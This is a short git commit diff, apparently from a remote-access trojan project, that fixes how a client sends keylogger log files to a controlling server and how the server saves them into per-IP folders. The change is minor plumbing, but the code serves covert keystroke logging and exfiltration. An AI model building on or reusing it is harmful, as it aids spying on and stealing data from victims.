Fixed some logic

fixed a few logic errors
This commit is contained in:
d3agle 2015-04-23 10:46:54 -05:00
parent 62826a39e6
commit f1942aa253
2 changed files with 15 additions and 7 deletions

View File

@ -378,7 +378,7 @@ namespace xClient.Core.Commands
if (iFiles.Length == 0)
{
new Packets.ClientPackets.GetLogsResponse("", new byte[0], -1, -1, "", index, iFiles.Length);
new Packets.ClientPackets.GetLogsResponse("", new byte[0], -1, -1, "", index, iFiles.Length).Execute(client);
return;
}

View File

@ -311,6 +311,19 @@ namespace xServer.Core.Commands
public static void HandleGetLogsResponse(Client client, GetLogsResponse packet)
{
if (client.Value.FrmKl == null)
return;
if (packet.FileCount == 0)
{
client.Value.FrmKl.Invoke((MethodInvoker) delegate
{
client.Value.FrmKl.btnGetLogs.Enabled = true;
});
return;
}
string downloadPath = Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString() + "\\Logs\\");
if (!Directory.Exists(downloadPath))
@ -318,11 +331,6 @@ namespace xServer.Core.Commands
downloadPath = Path.Combine(downloadPath, packet.Filename + ".html");
if (client.Value.FrmKl == null)
{
return;
}
FileSplit destFile = new FileSplit(downloadPath);
destFile.AppendBlock(packet.Block, packet.CurrentBlock);
@ -331,7 +339,7 @@ namespace xServer.Core.Commands
{
client.Value.FrmKl.Invoke((MethodInvoker) delegate
{
if (packet.Index == packet.FileCount || packet.FileCount == 0)
if (packet.Index == packet.FileCount)
client.Value.FrmKl.btnGetLogs.Enabled = true;
});
}